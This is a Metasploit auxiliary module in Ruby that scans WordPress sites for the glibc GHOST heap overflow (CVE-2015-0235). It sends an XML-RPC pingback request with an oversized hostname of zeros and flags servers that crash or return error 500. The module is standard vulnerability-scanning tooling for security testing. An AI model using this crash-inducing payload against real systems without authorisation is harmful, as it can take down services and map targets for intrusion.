88 lines
2.4 KiB
Ruby
88 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HTTP::Wordpress
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WordPress XMLRPC GHOST Vulnerability Scanner',
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'Description' => %q{
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This module can be used to determine hosts vulnerable to the GHOST vulnerability via
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a call to the WordPress XMLRPC interface. If the target is vulnerable, the system
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will segfault and return a server error. On patched systems, a normal XMLRPC error
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is returned.
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},
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'Author' =>
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[
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'Robert Rowley',
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'Christophe De La Fuente' ,
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'Chaim Sanders' ,
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'Felipe Costa' ,
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'Jonathan Claudius' ,
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'Karl Sigler' ,
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'Christian Mehlmauer' # metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2015-0235' ],
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[ 'URL', 'http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html'],
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[ 'URL', 'http://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html']
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]
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))
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register_options(
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[
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OptInt.new('LENGTH', [false, 'Payload length', 2500]),
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], self.class)
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end
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def length
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datastore['LENGTH']
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end
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def run_host(ip)
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unless wordpress_and_online?
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print_error("#{peer} - Looks like this site is no WordPress blog")
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return
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end
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unless wordpress_xmlrpc_enabled?
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print_error("#{peer} - XMLRPC interface is not enabled")
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return
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end
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ghost = "0" * length
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payload = "http://#{ghost}/#{Rex::Text.rand_text_alpha(7)}.php"
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xml = wordpress_generate_xml_rpc_body('pingback.ping', payload, payload)
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res = send_request_cgi(
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'uri' => wordpress_url_xmlrpc,
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'method' => 'POST',
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'ctype' => 'text/xml;charset=UTF-8',
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'data' => xml
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)
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if res.nil? || res.code == 500
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print_good("#{peer} - vulnerable to GHOST")
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report_vuln(
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:host => ip,
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:proto => 'tcp',
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:port => datastore['RPORT'],
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:name => self.name,
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:info => "Module #{self.fullname} found GHOST vulnerability",
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:sname => datastore['SSL'] ? "https" : "http"
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)
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else
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print_status("#{peer} - target not vulnerable to GHOST")
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end
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end
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end
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